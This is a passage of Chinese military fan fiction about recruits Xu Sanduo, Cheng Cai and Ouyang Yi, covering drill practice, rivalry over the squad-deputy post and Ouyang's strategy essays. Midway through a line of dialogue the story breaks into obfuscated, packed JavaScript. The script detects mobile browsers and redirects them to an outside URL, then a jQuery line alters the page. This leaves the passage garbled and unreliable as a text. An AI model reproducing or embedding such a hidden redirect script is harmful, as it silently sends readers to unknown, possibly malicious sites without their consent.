“可是……”他看着成才,整个人显得更傻了,“队列不是你教我的。是欧阳教的。” “!” “你别胡说!” 他吓得一把捂住三呆子的嘴,把他往旁边拖,连家乡话都蹦出来了,“俺咋没帮你了?那天晚上我不是有教你吗?” “我可笨嘞,你就让我跟树练,我没练明白,不懂啥意思,后来是欧阳看见了,他教的我唔……”他没说完,嘴又让成才给堵死了。“闭嘴。你不会说话就憋着,当自己是哑巴。” 成才急了。 他没想到这里头还有这出。 “三呆子,你要是说出去。”他像在老家那样对他做了一个威胁的手势,“你等着瞧。” “还有,今天晚上开始你跟我一起。” “干,干嘛……” “还能干嘛?练队列啊!我就不信了,我还能比那个书呆子差,你就算是块木头,我也要把我脑子里的东西全给你灌进去!” 因为这件事,许三多一下就少了很多独处的机会,每时每刻,成才都会跑来问他:“三呆子,走,我们去练队列。” 许三多这个木瓜脑袋在成才第三百次扫过独自一人的欧阳译时,终于开了点窍。不服气是一回事,成才也怕他和欧阳告密,害他的班副当不成。 为了更大程度的发挥班副这个职务的作用,成才很快就举一反三,把队伍里那几个落后的都抓来了,这下,许三多再也不用拿一棵树当基准了。 “这成才倒是做得热火朝天的,高材生呢?”这么多个班,高城最在意的,当然还是伍六一带的班。最得意的,最在意的,最不满意的,最知情知意的,全塞在这个班里,他想不多了解都难。 “他这几天都在写东西。背着人,我也不知道他在写什么。”伍六一也相当关注欧阳译的动静。 “他在外面有女朋友?”高城问。 “可能有吧,反正他这几天只要能自由活动了,就一直在写东西,”伍六一也不确定,欧阳译够沉默寡言的,没人知道他的事。 高城乐了:“那小子看着冷冰冰的,没想到还有这么热情如火的一面。” “你给我盯紧点。远距离谈恋爱无所谓,别耽误了训练。”优等生在他这里的待遇向来高。 “是!”伍六一敬礼,“保证不会让恋爱耽误训练。” 这边,许三多也在找一个能见欧阳译的机会。 他不能坦白成才的事,但他想和欧阳译说声对不起。 因为最近成才教导的差生越来越多,无暇只管他一个人,机会到底是被他找到了。 “欧,欧阳。” 许三多在路上堵住了人。 后者手里拿着一个笔记本,里面夹着一叠信纸似的东西。 “许三多,你有什么事?” 被问到的人目光开始左右游移,组织好的语言到了正主面前就开始四处乱跑,像极了他站得稀烂的队列。 “没事的话,我就先走了,你想到再和我说。” 欧阳译试图绕开他。 “不!有,有事!” 许三多急忙张开手臂拦住了他。 “什么事?” “就……” 他嘴笨,支支吾吾半天,好在欧阳译愿意等他,憋了许久,他终于找到了话题:“成才,成才当了班副。” “这个我知道。上周在班里宣布的。” “你……”许三多恨极了自己的口才,最后只好只说:“对不起。” “什么?” “成才当班副……我觉得你也很适合……所以……” 他也不知道自己在说什么了。 好在欧阳译总结很快:“你想说,成才战胜了我当上了班副,你替他觉得对不起我?” 许三多疯狂点头。 “这两者没有任何关系。”欧阳译评价。 许三多头更低了。 其实有关系的…… “虽然我不知道你为什么内疚,但你大可不必这样。因为我没打算当什么班副。” 低下的头立马抬了起来:“可是,大家都想当。” “人人渴望的,就是对的吗?”欧阳译噗嗤一笑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862214|158385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我知道他为什么想当班副,因为我们都是义务兵,想留在这里,就需要转成士官,义务兵想转士官,首先就要当班长。想当班长的话,在新兵营里表现出色,被上面看见,是最快也是最有效的方法。” “那你为什么……” “因为我只打算当两年的义务兵。”他来这里,纯粹是为了找这支连队的连史,想办法找到团座和自己的身体。 不过这个就不用和许三多讲了,他怕把对方吓坏了。 他只是说他不想留在这里,就已经快要把许三多吓坏了。 “待这里好。”看,这个有点呆的士兵还试图劝他,明明他才是最没可能留下来的那个。 “为什么?” “这……” 许三多一下卡了壳。 “俺,俺爹说,当兵有出息。” “我是大学生,不当兵也不会差到哪去。” 许三多这下没话说了。 “你有空多练习练习薄弱科目吧。”承了这份情,欧阳译决定提醒他一把,“这支队伍剩下的时间不多了,一个兵想要留下来,就要看他的素质和他的成绩。” “多看书,多训练,争取别被刷下去。留得久一点对你是有好处的。” 说着,他拍了拍他的肩,然后就拿着自己的笔记走远了。 * “报告。” “进来。” 伍六一没想到,自己还没去找欧阳译呢,对方就自己找上门了。 他不眼瞎,当然也看见了那一沓厚厚的信纸。 “欧阳。”他提醒他,“部队里,特别新兵期间,寄信也是有规定的,上回才寄完,你要寄信得等到下个月了。” “班长,我不打算寄信出去。我想投稿。” 一叠稿纸水灵灵的落到了伍六一手里。 “投稿?你投哪?我们师的军报?”伍六一心想,这文化人就是不一样,他还以为他要谈恋爱呢,结果人家才来一个月就给军报投稿了。 “小说,散文还是诗歌?”他一边问他一边打开稿纸,看第一行标题就蒙了。 《浅析全球经济形势对未来战争的影响》 啥玩意啊这是。 “我写了三篇。”欧阳译说。 伍六一心慌,但还是绷着脸快速摸出第二篇,《海权与陆权:现代战争中的战略考量》 伍六一:“……” 翻到第三篇,《网络舆情——未来数字化战争》 好吧,悬着的心终于死了。 “我帮你给连长。”他直接略过了排长。“我不知道能不能登。” “没事,心血来潮写了点东西,不能登的话,把稿纸还给我就行。” 欧阳译很淡定。 他走之后,伍六一马不停蹄的去了高城办公室。 三十分钟后,他终于从烟雾缭绕的连长办公室走出来了。 “靠!老七!你烧火啊!”向来脾气好的指导员看见这一办公室的烟雾都疯了。 但被骂的人毫无反应,梦游般的捧着一堆稿纸走了出去:“帮我安排车,我去找王叔。” “?” 指导员蒙了。 高城不是一直不想承认自己军长儿子身份,喊他的王叔喊团长的吗?不装了?